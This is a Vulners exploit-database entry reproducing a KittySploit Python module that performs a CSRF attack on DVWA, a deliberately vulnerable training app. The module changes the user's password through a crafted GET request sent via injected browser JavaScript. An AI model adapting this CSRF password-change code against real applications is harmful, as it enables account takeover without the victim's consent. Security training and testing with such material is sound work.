Lucene search
+L

dvwa csrf

🗓️ 01 Dec 2025 12:51:31Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

CSRF in DVWA allows changing the password via GET requests.

Refs
Code
from kittysploit import *
from lib.protocols.http.csrf import Csrf

class Module(BrowserAuxiliary, Csrf):
	
	__info__ = {
		"name": "dvwa csrf",
		"description": "DVWA CSRF attack - Change password via CSRF GET",
		"author": "KittySploit Team",
		"browser": Browser.ALL,
		"platform": Platform.ALL,
		"session_type": SessionType.BROWSER,
	}
	
	target = OptString("http://127.0.0.1", "Target URL (with http://)", required=True)
	password = OptString("pwned", "New password to set", required=True)

	def run(self):
		"""Execute CSRF GET attack to change password in DVWA"""
		url = f"{self.target}/dvwa/vulnerabilities/csrf/?password_new={self.password}&password_conf={self.password}&Change=Change"
		
		print_info(f"Executing CSRF GET attack on: {url}")
		
		js_code = self.csrf_get(url)
		result = self.send_js_and_wait_for_response(js_code, timeout=5.0)
		
		if result:
			print_success(f"CSRF GET attack executed successfully")
			print_info(f"Response: {result}")
			print_info(f"Password change request sent: {self.password}")
			return True
		else:
			fail.CSRFGetFailed()
		return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Dec 2025 12:51Current
5.8Medium risk
Vulners AI Score5.8
0